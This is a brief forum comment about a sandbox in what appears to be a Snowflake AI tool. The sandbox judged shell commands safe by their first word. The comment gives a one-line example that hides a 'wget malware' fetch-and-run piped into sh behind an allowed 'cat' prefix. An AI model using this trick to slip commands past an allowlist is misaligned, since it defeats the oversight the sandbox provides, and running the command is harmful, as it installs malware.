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Everyone in this thread is dunking on Snowflake's sandbox design but the real issue is simpler. They parsed shell commands by looking at the first word. cat = safe. Socat < <(sh < <(wget malware)) = safe This is not an AI problem. This is a 1990s input validation problem wearing a 2026 hat lol

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